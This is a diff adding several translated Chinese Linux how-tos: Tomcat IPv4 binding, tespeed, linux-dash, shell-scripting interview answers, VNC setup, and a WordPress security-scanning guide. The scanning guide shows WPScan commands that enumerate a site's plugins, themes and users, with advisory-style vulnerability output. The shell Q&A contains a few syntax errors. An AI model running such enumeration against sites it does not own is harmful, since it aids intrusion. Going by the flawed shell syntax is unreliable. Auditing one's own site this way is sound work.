-Djava.net.preferIPv4Addresses"`。我们可以使用我们喜欢的文本编辑器来编辑这个文件,例如nano、vim等等。这里我们使用nano。 + + $ nano catalina.sh + +![Catalina script](http://blog.linoxide.com/wp-content/uploads/2015/01/catalina-script.png) + +然后,如下图所示,将该行增加到文件。 + +![配置 catalina](http://blog.linoxide.com/wp-content/uploads/2015/01/configured-catalina.png) + +现在,我们已经将配置信息增加到文件中。保存文件并退出nano。 + +### 4. 重启 ### + +现在,我们通过重启tomcat服务器使配置生效。我们要先运行shutdown.sh,然后运行startup.sh。 + + $ ./shutdown.sh + +运行可执行文件startup.sh: + + $ ./startup.sh + +![重启apache tomcat 服务器](http://blog.linoxide.com/wp-content/uploads/2015/01/restarting-tomcat-server.png) + +这将重启我们的tomcat服务器并加载将服务器绑定到IPv4的配置信息。 + +### 结尾 ### + +好了,我们终于将我们运行在CentOS 7 Linux发行版上的tomcat服务器绑定到IPv4上了。尽管IPv6在不久的将来也许会得到应用,但由于现在还没有使用,如果因为将你的Tomcat服务器绑定到IPv6上而使得你的tomcat服务器不工作,就有必要将tomcat绑定到IPv4上,这也很简单。如果你有任何疑问,建议,反馈,请在下面的评论框中写下来,让我们知道有什么需要增加或者改进。非常感谢! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/bind-apache-tomcat-ipv4-centos/ + +作者:[Arun Pyasi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://www.apache.org/ +[2]:http://linoxide.com/linux-how-to/install-tomcat-8-centos-7/ diff --git a/published/201504/20150202 tespeed - Python Tool To Test Your Internet Speed.md b/published/201504/20150202 tespeed - Python Tool To Test Your Internet Speed.md new file mode 100644 index 0000000000..021eff9c2a --- /dev/null +++ b/published/201504/20150202 tespeed - Python Tool To Test Your Internet Speed.md @@ -0,0 +1,76 @@ +tespeed - 测试网速的Python工具 +================================================================================ +许多电脑呆子知道可以用**speedtest.net**测试网速,但是这个不能在测试中给你足够的控制。Linux用户喜欢在终端中输入命令来完成任务,至少我就是这样的。 + +tespeed是一款有很多特性的python工具,可以在终端在测试网速。根据文档说明,它利用了speedtest.net的服务器,但是用户可以手动指定。 + +最初作者用php语言写了tespeed工具,并且证明了ISP提供的网络远低于它广告中所说的那样。但是事情并不是一直如他们想的那样,因此作者移植他的php脚本到python中,并且他的工具在github中已经有180个star了。 + +It means **alot**。 + +### 如何在linux中测试tespeed ### + +在你电脑上运行这个python程序前先确保系统已经满足了这个工具的依赖。tespeed依赖下面两个包: + +- lxml +- SocksiPy + +你可以用pip包管理系统来安装lxml,只要用下面的命令就行。 + + pip install lxml + +现在我们需要输入下面的命令来下载安装SocksiPy。 + + wget http://sourceforge.net/projects/socksipy/files/socksipy/SocksiPy%201.00/SocksiPy.zip/ + +下载完成后 解压**SocksiPy.zip**并运行下面的命令来克隆tespeed仓库到你本地机器中。 + + git clone https://github.com/Janhouse/tespeed.git + +接着把SocksiPy文件夹放到你克隆下来的tespeed项目中。现在我们要像截图那样在SocksiPy中的创建一个叫**__init__.py**的空文件。 + +![simple trick to make tespeed work](http://blog.linoxide.com/wp-content/uploads/2015/01/tespeed1.png) + +现在我们已经解决了项目的依赖问题,我们可以用下面的命令运行了。 + + python tespeed.py + +接下来就会发生一些神奇的事了。程序会测试你的下载和上传速度并且在你的终端中用漂亮的颜色显示出来。 + +![testing download and upload speed with tespeed python application](http://blog.linoxide.com/wp-content/uploads/2015/01/tespeed2.png) + +在tespeed中有很多选项,如**-ls**来列出服务器,**-p**来指定代理服务器, **-s**来阻止调试(STDERR)输出, 还有很多我们会在本教程中探索。 + +如果你想要结果显示成MB,你可以在**python tespeed.py** 后面接上选项 **-mib**。 + + python tespeed.py -mib + +在你使用了-mib选项后你可以看到计量网速的单位改变了。 + +![testing internet speed with tespeed python application](http://blog.linoxide.com/wp-content/uploads/2015/01/tespeed3.png) + +我非常喜欢用的一个选项是-w,它可以把标准输出转化成CSV格式。 + + python tespeed.py -w + +使用下面的命令来列出服务器。 + + python tespeed -ls + +运行上面的命令后,你会看到可以用于测试上传和下载速度的服务器列表。我的列表非常长,所以我不会在教程中共享了。 + +### 总结 ### + +tespeed的确是一款帮助用户在终端中测试上传和下载速度的高性能python脚本。它支持很多的选项并且你可以指定列表中你想使用的服务器。继续使用tespeed并在留言区写下你们的体验吧。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/tools/tespeed-python-tool-test-internet-speed/ + +作者:[Oltjano Terpollari][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/oltjano/ \ No newline at end of file diff --git a/published/201504/20150203 How To Install Linux-dash Web Based Monitoring System In CentOS or RHEL.md b/published/201504/20150203 How To Install Linux-dash Web Based Monitoring System In CentOS or RHEL.md new file mode 100644 index 0000000000..72b79c1c96 --- /dev/null +++ b/published/201504/20150203 How To Install Linux-dash Web Based Monitoring System In CentOS or RHEL.md @@ -0,0 +1,112 @@ +如何在CentOS/RHEL中安装基于Web的监控系统 linux-dash +================================================================================ +**Linux-dash**是一款为Linux设计的基于web的轻量级监控面板。这个程序会实时显示各种不同的系统属性,比如CPU负载、RAM使用率、磁盘使用率、网速、网络连接、RX/TX带宽、登录用户、运行的进程等等。它不会存储长期的统计。因为它没有后端数据库。 + +本篇文章将会向你展示如何安装和设置Linux dash,这里所使用的web服务器是**Nginx**. + +### 安装 ### + +首先我们要启用[EPEL 仓库][1]。 + +**接下来,我们需要用下面的命令安装nginx。** + + sudo yum install nginx + +**安装 php-fpm 组件** + + sudo yum install git php-common php-fpm + +现在我们要在nginx中配置Linux-dash。我们如下创建 /etc/nginx/conf.d/linuxdash.conf。 + + sudo vim /etc/nginx/conf.d/linuxdash.conf + +---------- + + server { + server_name $domain_name; + listen 8080; + root /var/www; + index index.html index.php; + access_log /var/log/nginx/access.log; + error_log /var/log/nginx/error.log; + + location ~* \.(?:xml|ogg|mp3|mp4|ogv|svg|svgz|eot|otf|woff|ttf|css|js|jpg|jpeg|gif|png|ico)$ { + try_files $uri =404; + expires max; + access_log off; + add_header Pragma public; + add_header Cache-Control "public, must-revalidate, proxy-revalidate"; + } + + location /linux-dash { + index index.html index.php; + } + + # PHP-FPM via sockets + location ~ \.php(/|$) { + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + fastcgi_split_path_info ^(.+?\.php)(/.*)$; + fastcgi_pass unix:/var/run/php-fpm.sock; + if (!-f $document_root$fastcgi_script_name) { + return 404; + } + try_files $uri $uri/ /index.php?$args; + include fastcgi_params; + } + } + +**下一步是配置php-fpm。用编辑器打开/etc/php-fpm.d/www.conf。** + + sudo vim /etc/php-fpm.d/www.conf + +**确保设置了如下的“listen”,“user”和“group”字段。你可以保留其它的配置不变。** + + . . . + listen = /var/run/php-fpm.sock + user = nginx + group = nginx + . . . + +**现在,我们要在/var/www中下载并安装linux-dash。** + + git clone https://github.com/afaqurk/linux-dash.git + sudo cp -r linux-dash/ /var/www/ + sudo chown -R nginx:nginx /var/www + +**接下来,重启 Nginx和php-fpm。** + + sudo service nginx restart + sudo service php-fpm restart + +**设置nginx和php-fpm开机自动启动。** + + sudo chkconfig nginx on + sudo chkconfig php-fpm on + +在本例中,我们使用TCP端口8080配置linux-dash。因此需确保防火墙没有阻止8080 TCP端口。 + +### 用linux-dash监控Linux服务器 ### + +你现在可以在浏览器中输入**http://\:8080/linux-dash/**来访问Linux-dash。 + +web面板包含了不同的组件,每个都显示独特的系统属性。你可以自定义web面板的外观也可以关闭一些组件。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/Lin-dash.png) + +美好的一天! + + +下篇文章中再见。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-linux-dash-web-based-monitoring-system-centosrhel/ + +作者:[Jijo][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/jijo/ +[1]:http://linux.cn/article-2324-1.html diff --git a/published/201504/20150205 25 Linux Shell Scripting interview Questions & Answers.md b/published/201504/20150205 25 Linux Shell Scripting interview Questions & Answers.md new file mode 100644 index 0000000000..f320335396 --- /dev/null +++ b/published/201504/20150205 25 Linux Shell Scripting interview Questions & Answers.md @@ -0,0 +1,391 @@ +Linux Shell脚本面试25问 +================================================================================ +### Q:1 Shell脚本是什么、它是必需的吗? ### + +答:一个Shell脚本是一个文本文件,包含一个或多个命令。作为系统管理员,我们经常需要使用多个命令来完成一项任务,我们可以添加这些所有命令在一个文本文件(Shell脚本)来完成这些日常工作任务。 + +### Q:2 什么是默认登录shell,如何改变指定用户的登录shell ### + +答:在Linux操作系统,“/bin/bash”是默认登录shell,是在创建用户时分配的。使用chsh命令可以改变默认的shell。示例如下所示: + + # chsh <用户名> -s <新shell> + # chsh linuxtechi -s /bin/sh + +### Q:3 可以在shell脚本中使用哪些类型的变量? ### + +答:在shell脚本,我们可以使用两种类型的变量: + +- 系统定义变量 +- 用户定义变量 + +系统变量是由系统系统自己创建的。这些变量通常由大写字母组成,可以通过“**set**”命令查看。 + +用户变量由系统用户来生成和定义,变量的值可以通过命令“`echo $<变量名>`”查看。 + +### Q:4 如何将标准输出和错误输出同时重定向到同一位置? ### + +答:这里有两个方法来实现: + +方法一: + + 2>&1 (如# ls /usr/share/doc > out.txt 2>&1 ) + +方法二: + + &> (如# ls /usr/share/doc &> out.txt ) + +### Q:5 shell脚本中“if”语法如何嵌套? ### + +答:基础语法如下: + + if [ 条件 ] + then + 命令1 + 命令2 + ….. + else + if [ 条件 ] + then + 命令1 + 命令2 + …. + else + 命令1 + 命令2 + ….. + fi + fi + +### Q:6 shell脚本中“$?”标记的用途是什么? ? ### + +答:在写一个shell脚本时,如果你想要检查前一命令是否执行成功,在if条件中使用“$?”可以来检查前一命令的结束状态。简单的例子如下: + + root@localhost:~# ls /usr/bin/shar + /usr/bin/shar + root@localhost:~# echo $? + 0 + +如果结束状态是0,说明前一个命令执行成功。 + + root@localhost:~# ls /usr/bin/share + + ls: cannot access /usr/bin/share: No such file or directory + root@localhost:~# echo $? + 2 + +如果结束状态不是0,说明命令执行失败。 + +### Q:7 在shell脚本中如何比较两个数字 ? ### + +答:在if-then中使用测试命令( -gt 等)来比较两个数字,例子如下: + + #!/bin/bash + x=10 + y=20 + + if [ $x -gt $y ] + then + echo “x is greater than y” + else + echo “y is greater than x” + fi + +### Q:8 shell脚本中break命令的作用 ? ### + +答:break命令一个简单的用途是退出执行中的循环。我们可以在while和until循环中使用break命令跳出循环。 + +### Q:9 shell脚本中continue命令的作用 ? ### + +答:continue命令不同于break命令,它只跳出当前循环的迭代,而不是**整个**循环。continue命令很多时候是很有用的,例如错误发生,但我们依然希望继续执行大循环的时候。 + +### Q:10 告诉我shell脚本中Case语句的语法 ? ### + +答:基础语法如下: + + case 变量 in + 值1) + 命令1 + 命令2 + ….. + 最后命令 + !! + 值2) + 命令1 + 命令2 + …… + 最后命令 + ;; + esac + +### Q:11 shell脚本中while循环语法 ? ### + +答:如同for循环,while循环只要条件成立就重复它的命令块。不同于for循环,while循环会不断迭代,直到它的条件不为真。基础语法: + + while [ 条件 ] + do + 命令… + done + +### Q:12 如何使脚本可执行 ? ### + +答:使用chmod命令来使脚本可执行。例子如下: + + # chmod a+x myscript.sh + +### Q:13 “#!/bin/bash”的作用 ? ### + +答:#!/bin/bash是shell脚本的第一行,称为释伴(shebang)行。这里#符号叫做hash,而! 叫做 bang。它的意思是命令通过 /bin/bash 来执行。 + +### Q:14 shell脚本中for循环语法 ? ### + +答:for循环的基础语法: + + for 变量 in 循环列表 + do + 命令1 + 命令2 + …. + 最后命令 + done + +### Q:15 如何调试shell脚本 ? ### + +答:使用'-x'参数(sh -x myscript.sh)可以调试shell脚本。另一个种方法是使用‘-nv’参数( sh -nv myscript.sh)。 + +### Q:16 shell脚本如何比较字符串? ### + +答:test命令可以用来比较字符串。测试命令会通过比较字符串中的每一个字符来比较。 + +### Q:17 Bourne shell(bash) 中有哪些特殊的变量 ? ### + +答:下面的表列出了Bourne shell为命令行设置的特殊变量。 + +
+++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

内建变量

+
+

解释

+
+

$0

+
+

命令行中的脚本名字

+
+

$1

+
+

第一个命令行参数

+
+

$2

+
+

第二个命令行参数

+
+

…..

+
+

…….

+
+

$9

+
+

第九个命令行参数

+
+

$#

+
+

命令行参数的数量

+
+

$*

+
+

所有命令行参数,以空格隔开

+
+ +### Q:18 How to test files in a shell script ? ### +### Q:18 在shell脚本中,如何测试文件 ? ### + +答:test命令可以用来测试文件。基础用法如下表格: + + +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Test

+
+

用法

+
+

-d 文件名

+
+

如果文件存在并且是目录,返回true

+
+

-e 文件名

+
+

如果文件存在,返回true

+
+

-f 文件名

+
+

如果文件存在并且是普通文件,返回true

+
+

-r 文件名

+
+

如果文件存在并可读,返回true

+
+

-s 文件名

+
+

如果文件存在并且不为空,返回true

+
+

-w 文件名

+
+

如果文件存在并可写,返回true

+
+

-x 文件名

+
+

如果文件存在并可执行,返回true

+
+ +### Q:19 在shell脚本中,如何写入注释 ? ### + +答:注释可以用来描述一个脚本可以做什么和它是如何工作的。每一行注释以#开头。例子如下: + + #!/bin/bash + # This is a command + echo “I am logged in as $USER” + +### Q:20 如何让 shell 就脚本得到来自终端的输入? ### + +答:read命令可以读取来自终端(使用键盘)的数据。read命令得到用户的输入并置于你给出的变量中。例子如下: + + # vi /tmp/test.sh + + #!/bin/bash + echo ‘Please enter your name’ + read name + echo “My Name is $name” + + # ./test.sh + Please enter your name + LinuxTechi + My Name is LinuxTechi + +### Q:21 如何取消变量或取消变量赋值 ? ### + +答:“unset”命令用于取消变量或取消变量赋值。语法如下所示: + + # unset <变量名> + +### Q:22 如何执行算术运算 ? ### + +答:有两种方法来执行算术运算: + +1.使用`expr`命令(# expr 5 + 2) +2.用一个美元符号和方括号(`$[ 表达式 ]`)例如:test=$[16 + 4] ; test=$[16 + 4] + +### Q:23 do-while语句的基本格式 ? ### + +答:do-while语句类似于while语句,但检查条件语句之前先执行命令(LCTT 译注:意即至少执行一次。)。下面是用do-while语句的语法 + + do + { + 命令 + } while (条件) + +### Q:24 在shell脚本如何定义函数呢 ? ### + +答:函数是拥有名字的代码块。当我们定义代码块,我们就可以在我们的脚本调用函数名字,该块就会被执行。示例如下所示: + + $ diskusage () { df -h ; } + + 译注:下面是我给的shell函数语法,原文没有 + + [ function ] 函数名 [()] + { + + 命令; + [return int;] + + } + + +### Q:25 如何在shell脚本中使用BC(bash计算器) ? ### + +答:使用下列格式,在shell脚本中使用bc: + + variable=`echo “options; expression” | bc` + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/linux-shell-scripting-interview-questions-answers/ + +作者:[Pradeep Kumar][a] +译者:[VicYu/Vic020](http://vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201504/20150205 How To Install or Configure VNC Server On CentOS 7.0.md b/published/201504/20150205 How To Install or Configure VNC Server On CentOS 7.0.md new file mode 100644 index 0000000000..713fb7ab34 --- /dev/null +++ b/published/201504/20150205 How To Install or Configure VNC Server On CentOS 7.0.md @@ -0,0 +1,165 @@ +怎样在CentOS 7.0上安装和配置VNC服务器 +================================================================================ +这是一个关于怎样在你的 CentOS 7 上安装配置 [VNC][1] 服务的教程。当然这个教程也适合 RHEL 7 。在这个教程里,我们将学习什么是 VNC 以及怎样在 CentOS 7 上安装配置 [VNC 服务器][1]。 + +我们都知道,作为一个系统管理员,大多数时间是通过网络管理服务器的。在管理服务器的过程中很少会用到图形界面,多数情况下我们只是用 SSH 来完成我们的管理任务。在这篇文章里,我们将配置 VNC 来提供一个连接我们 CentOS 7 服务器的方法。VNC 允许我们开启一个远程图形会话来连接我们的服务器,这样我们就可以通过网络远程访问服务器的图形界面了。 + +VNC 服务器是一个自由开源软件,它可以让用户可以远程访问服务器的桌面环境。另外连接 VNC 服务器需要使用 VNC viewer 这个客户端。 + +** 一些 VNC 服务器的优点:** + +- 远程的图形管理方式让工作变得简单方便。 +- 剪贴板可以在 CentOS 服务器主机和 VNC 客户端机器之间共享。 +- CentOS 服务器上也可以安装图形工具,让管理能力变得更强大。 +- 只要安装了 VNC 客户端,通过任何操作系统都可以管理 CentOS 服务器了。 +- 比 ssh 图形转发和 RDP 连接更可靠。 + +那么,让我们开始安装 VNC 服务器之旅吧。我们需要按照下面的步骤一步一步来搭建一个可用的 VNC。 + +首先,我们需要一个可用的桌面环境(X-Window),如果没有的话要先安装一个。 + +**注意:以下命令必须以 root 权限运行。要切换到 root ,请在终端下运行“sudo -s”,当然不包括双引号(“”)** + +### 1. 安装 X-Window ### + +首先我们需要安装 [X-Window][2],在终端中运行下面的命令,安装会花费一点时间。 + + # yum check-update + # yum groupinstall "X Window System" + +![installing x windows](http://blog.linoxide.com/wp-content/uploads/2015/01/installing-x-windows.png) + + #yum install gnome-classic-session gnome-terminal nautilus-open-terminal control-center liberation-mono-fonts + +![install gnome classic session](http://blog.linoxide.com/wp-content/uploads/2015/01/gnome-classic-session-install.png) + + ### 设置默认启动图形界面 + # unlink /etc/systemd/system/default.target + # ln -sf /lib/systemd/system/graphical.target /etc/systemd/system/default.target + +![configuring graphics](http://blog.linoxide.com/wp-content/uploads/2015/01/configuring-graphics.png) + + # reboot + +在服务器重启之后,我们就有了一个工作着的 CentOS 7 桌面环境了。 + +现在,我们要在服务器上安装 VNC 服务器了。 + +### 2. 安装 VNC 服务器 ### + +现在要在我们的 CentOS 7 上安装 VNC 服务器了。我们需要执行下面的命令。 + + # yum install tigervnc-server -y + +![vnc server](http://blog.linoxide.com/wp-content/uploads/2015/01/install-tigervnc.png) + +### 3. 配置 VNC ### + +然后,我们需要在 `/etc/systemd/system/` 目录里创建一个配置文件。我们可以将 `/lib/systemd/sytem/vncserver@.service` 拷贝一份配置文件范例过来。 + + # cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@:1.service + +![copying vnc server configuration](http://blog.linoxide.com/wp-content/uploads/2015/01/copying-configuration.png) + +接着我们用自己最喜欢的编辑器(这儿我们用的 **nano** )打开 `/etc/systemd/system/vncserver@:1.service` ,找到下面这几行,用自己的用户名替换掉 。举例来说,我的用户名是 linoxide 所以我用 linoxide 来替换掉 : + + ExecStart=/sbin/runuser -l -c "/usr/bin/vncserver %i" + PIDFile=/home//.vnc/%H%i.pid + +替换成 + + ExecStart=/sbin/runuser -l linoxide -c "/usr/bin/vncserver %i" + PIDFile=/home/linoxide/.vnc/%H%i.pid + +如果是 root 用户则 + + ExecStart=/sbin/runuser -l root -c "/usr/bin/vncserver %i" + PIDFile=/root/.vnc/%H%i.pid + +![configuring user](http://blog.linoxide.com/wp-content/uploads/2015/01/configuring-user.png) + +好了,下面重启 systemd 。 + + # systemctl daemon-reload + +最后还要设置一下用户的 VNC 密码。要设置某个用户的密码,必须要有能通过 sudo 切换到用户的权限,这里我用 linoxide 的权限,执行“`su linoxide`”就可以了。 + + # su linoxide + $ sudo vncpasswd + +![setting vnc password](http://blog.linoxide.com/wp-content/uploads/2015/01/vncpassword.png) + +**确保你输入的密码多于6个字符** + +### 4. 开启服务 ### + +用下面的命令(永久地)开启服务: + + $ sudo systemctl enable vncserver@:1.service + +启动服务。 + + $ sudo systemctl start vncserver@:1.service + +### 5. 防火墙设置 ### + +我们需要配置防火墙来让 VNC 服务正常工作。 + + $ sudo firewall-cmd --permanent --add-service vnc-server + $ sudo systemctl restart firewalld.service + +![allowing firewalld](http://blog.linoxide.com/wp-content/uploads/2015/01/allowing-firewalld.png) + +现在就可以用 IP 和端口号(LCTT 译注:例如 192.168.1.1:1 ,这里的端口不是服务器的端口,而是视 VNC 连接数的多少从1开始排序)来连接 VNC 服务器了。 + +### 6. 用 VNC 客户端连接服务器 ### + +好了,现在已经完成了 VNC 服务器的安装了。要使用 VNC 连接服务器,我们还需要一个在本地计算机上安装的仅供连接远程计算机使用的 VNC 客户端。 + +![remote access vncserver from vncviewer](http://blog.linoxide.com/wp-content/uploads/2015/01/vncviewer.png) + +你可以用像 [Tightvnc viewer][3] 和 [Realvnc viewer][4] 的客户端来连接到服务器。 + +要用更多的用户连接,需要创建配置文件和端口,请回到第3步,添加一个新的用户和端口。你需要创建 `vncserver@:2.service` 并替换配置文件里的用户名和之后步骤里相应的文件名、端口号。**请确保你登录 VNC 服务器用的是你之前配置 VNC 密码的时候使用的那个用户名**。 + +VNC 服务本身使用的是5900端口。鉴于有不同的用户使用 VNC ,每个人的连接都会获得不同的端口。配置文件名里面的数字告诉 VNC 服务器把服务运行在5900的子端口上。在我们这个例子里,第一个 VNC 服务会运行在5901(5900 + 1)端口上,之后的依次增加,运行在5900 + x 号端口上。其中 x 是指之后用户的配置文件名 `vncserver@:x.service` 里面的 x 。 + +在建立连接之前,我们需要知道服务器的 IP 地址和端口。IP 地址是一台计算机在网络中的独特的识别号码。我的服务器的 IP 地址是96.126.120.92,VNC 用户端口是1。 + +执行下面的命令可以获得服务器的公网 IP 地址(LCTT 译注:如果你的服务器放在内网或使用动态地址的话,可以这样获得其公网 IP 地址)。 + + # curl -s checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//' + +### 总结 ### + +好了,现在我们已经在运行 CentOS 7 / RHEL 7 的服务器上安装配置好了 VNC 服务器。VNC 是自由开源软件中最简单的一种能实现远程控制服务器的工具,也是一款优秀的 Teamviewer Remote Access 替代品。VNC 允许一个安装了 VNC 客户端的用户远程控制一台安装了 VNC 服务的服务器。下面还有一些经常使用的相关命令。好好玩! + +#### 其他命令: #### + +- 关闭 VNC 服务。 + + # systemctl stop vncserver@:1.service + +- 禁止 VNC 服务开机启动。 + + # systemctl disable vncserver@:1.service + +- 关闭防火墙。 + + # systemctl stop firewalld.service + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/install-configure-vnc-server-centos-7-0/ + +作者:[Arun Pyasi][a] +译者:[boredivan](https://github.com/boredivan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://en.wikipedia.org/wiki/Virtual_Network_Computing +[2]:http://en.wikipedia.org/wiki/X_Window_System +[3]:http://www.tightvnc.com/ +[4]:https://www.realvnc.com/ diff --git a/published/201504/20150205 How To Scan And Check A WordPress Website Security Using WPScan, Nmap, And Nikto.md b/published/201504/20150205 How To Scan And Check A WordPress Website Security Using WPScan, Nmap, And Nikto.md new file mode 100644 index 0000000000..77838086fe --- /dev/null +++ b/published/201504/20150205 How To Scan And Check A WordPress Website Security Using WPScan, Nmap, And Nikto.md @@ -0,0 +1,425 @@ +怎样用 WPScan,Nmap 和 Nikto 扫描和检查一个 WordPress 站点的安全性 +================================================================================ +### 介绍 ### + +数百万个网站用着 WordPress ,这当然是有原因的。WordPress 是众多内容管理系统中对开发者最友好的,本质上说你可以用它做任何事情。不幸的是,每天都有些吓人的报告说某个主要的网站被黑了,或者某个重要的数据库被泄露了之类的,吓得人一愣一愣的。 + +如果你还没有安装 WordPress ,可以看下下面的文章。 + +在基于 Debian 的系统上: + +- [如何在 Ubuntu 上安装 WordPress][1] + +在基于 RPM 的系统上: + +- [如何在 CentOS 上安装 WordPress][2] + +我之前的文章 [ 如何安全加固 WordPress 站点][3] 里面列出的**备忘录**为读者维护 WordPress 的安全提供了一点帮助。 + +在这篇文章里面,我将介绍 **wpscan** 的安装过程,以及怎样使用 wpscan 来定位那些已知的会让你的站点变得易受攻击的插件和主题。还有怎样安装和使用一款免费的网络探索和攻击的安全扫描软件 **nmap** 。最后展示的是使用 **nikto** 的步骤。 + +### 用 WPScan 测试 WordPress 中易受攻击的插件和主题 ### + +**WPScan** 是一个 WordPress 黑盒安全扫描软件,用 Ruby 写成,它是专门用来寻找已知的 WordPress 的弱点的。它为安全专家和 WordPress 管理员提供了一条评估他们的 WordPress 站点的途径。它的基于开源代码,在 GPLv3 下发行。 + +#### 下载和安装 WPScan #### + +在我们开始安装之前,很重要的一点是要注意 wpscan 不能在 Windows 下工作,所以你需要使用一台 Linux 或者 OS X 的机器来完成下面的事情。如果你只有 Windows 的系统,拿你可以下载一个 Virtualbox 然后在虚拟机里面安装任何你喜欢的 Linux 发行版本。 + +WPScan 的源代码放在 Github 上,所以需要先安装 git(LCTT 译注:其实你也可以直接从 Github 上下载打包的源代码,而不必非得装 git )。 + + sudo apt-get install git + +git 装好了,我们就要安装 wpscan 的依赖包了。 + + sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby libxml2 libxml2-dev libxslt1-dev ruby-dev ruby1.9.3 + +把 wpscan 从 github 上 clone 下来。 + + git clone https://github.com/wpscanteam/wpscan.git + +现在我们可以进入这个新建立的 wpscan 目录,通过 bundler 安装必要的 ruby 包。 + + cd wpscan + sudo gem install bundler && bundle install --without test development + +现在 wpscan 装好了,我们就可以用它来搜索我们 WordPress 站点潜在的易受攻击的文件。wpcan 最重要的方面是它能列出不仅是插件和主题,也能列出用户和缩略图的功能。WPScan 也可以用来暴力破解 WordPress —— 但这不是本文要讨论的内容。 + +#### 更新 WPScan #### + + ruby wpscan.rb --update + +#### 列举插件 #### + +要列出所有插件,只需要加上 “--enumerate p” 参数,就像这样: + + ruby wpscan.rb --url http(s)://www.yoursiteurl.com --enumerate p + +或者仅仅列出易受攻击的插件: + + ruby wpscan.rb --url http(s)://www.yoursiteurl.com --enumerate vp + +下面是一些例子: + + | Name: ukiscet + | Location: http://********.com/wp-content/plugins/akismet/ + + | Name: audio-player + | Location: http://********.com/wp-content/plugins/audio-player/ + | + | * Title: Audio Player - player.swf playerID Parameter XSS + | * Reference: http://seclists.org/bugtraq/2013/Feb/35 + | * Reference: http://secunia.com/advisories/52083 + | * Reference: http://osvdb.org/89963 + | * Fixed in: 2.0.4.6 + + | Name: bbpress - v2.3.2 + | Location: http://********.com/wp-content/plugins/bbpress/ + | Readme: http://********.com/wp-content/plugins/bbpress/readme.txt + | + | * Title: BBPress - Multiple Script Malformed Input Path Disclosure + | * Reference: http://xforce.iss.net/xforce/xfdb/78244 + | * Reference: http://packetstormsecurity.com/files/116123/ + | * Reference: http://osvdb.org/86399 + | * Reference: http://www.exploit-db.com/exploits/22396/ + | + | * Title: BBPress - forum.php page Parameter SQL Injection + | * Reference: http://xforce.iss.net/xforce/xfdb/78244 + | * Reference: http://packetstormsecurity.com/files/116123/ + | * Reference: http://osvdb.org/86400 + | * Reference: http://www.exploit-db.com/exploits/22396/ + + | Name: contact + | Location: http://********.com/wp-content/plugins/contact/ + +#### 列举主题 #### + +列举主题和列举插件差不多,只要用"--enumerate t"就可以了。 + + ruby wpscan.rb --url http(s)://www.host-name.com --enumerate t + +或者只列出易受攻击的主题: + + ruby wpscan.rb --url http(s)://www.host-name.com --enumerate vt + +例子的输出: + + | Name: path + | Location: http://********.com/wp-content/themes/path/ + | Style URL: http://********.com/wp-content/themes/path/style.css + | Description: + + | Name: pub + | Location: http://********.com/wp-content/themes/pub/ + | Style URL: http://********.com/wp-content/themes/pub/style.css + | Description: + + | Name: rockstar + | Location: http://********.com/wp-content/themes/rockstar/ + | Style URL: http://********.com/wp-content/themes/rockstar/style.css + | Description: + | + | * Title: WooThemes WooFramework Remote Unauthenticated Shortcode Execution + | * Reference: https://gist.github.com/2523147 + + | Name: twentyten + | Location: http://********.com/wp-content/themes/twentyten/ + | Style URL: http://********.com/wp-content/themes/twentyten/style.css + | Description: + +#### 列举用户 #### + +WPscan 也可以用来列举某个 WordPress 站点的用户和有效的登录记录。攻击者常常这么做——为了获得一个用户清单,好进行暴力破解。 + + ruby wpscan.rb --url http(s)://www.host-name.com --enumerate u + +#### 列举 Timthumb 文件 #### + +关于 WPscan ,我要说的最后一个功能是列举 timthub (缩略图)相关的文件。近年来,timthumb 已经成为攻击者眼里的一个常见目标,因为无数的漏洞被找出来并发到论坛上、邮件列表等等地方。用下面的命令可以通过 wpscan 找出易受攻击的 timthub 文件: + + ruby wpscan.rb --url http(s)://www.host-name.com --enumerate tt + +### 用 Nmap 扫描你 VPS 的开放端口 ### + +**Nmap** 是一个开源的用于网络探索和安全审查方面的工具。它可以迅速扫描巨大的网络,也可一单机使用。Nmap 用原始 IP 数据包通过不同寻常的方法判断网络里那些主机是正在工作的,那些主机上都提供了什么服务(应用名称和版本),是什么操作系统(以及版本),用的什么类型的防火墙,以及很多其他特征。 + +#### 在 Debian 和 Ubuntu 上下载和安装 nmap #### + +要在基于 Debian 和 Ubuntu 的操作系统上安装 nmap ,运行下面的命令: + + sudo apt-get install nmap + +**输出样例** + + Reading package lists... Done + Building dependency tree + Reading state information... Done + The following NEW packages will be installed: + nmap + 0 upgraded, 1 newly installed, 0 to remove and 2 not upgraded. + Need to get 1,643 kB of archives. + After this operation, 6,913 kB of additional disk space will be used. + Get:1 http://mirrors.service.networklayer.com/ubuntu/ precise/main nmap amd64 5.21-1.1ubuntu1 [1,643 kB] + Fetched 1,643 kB in 0s (16.4 MB/s) 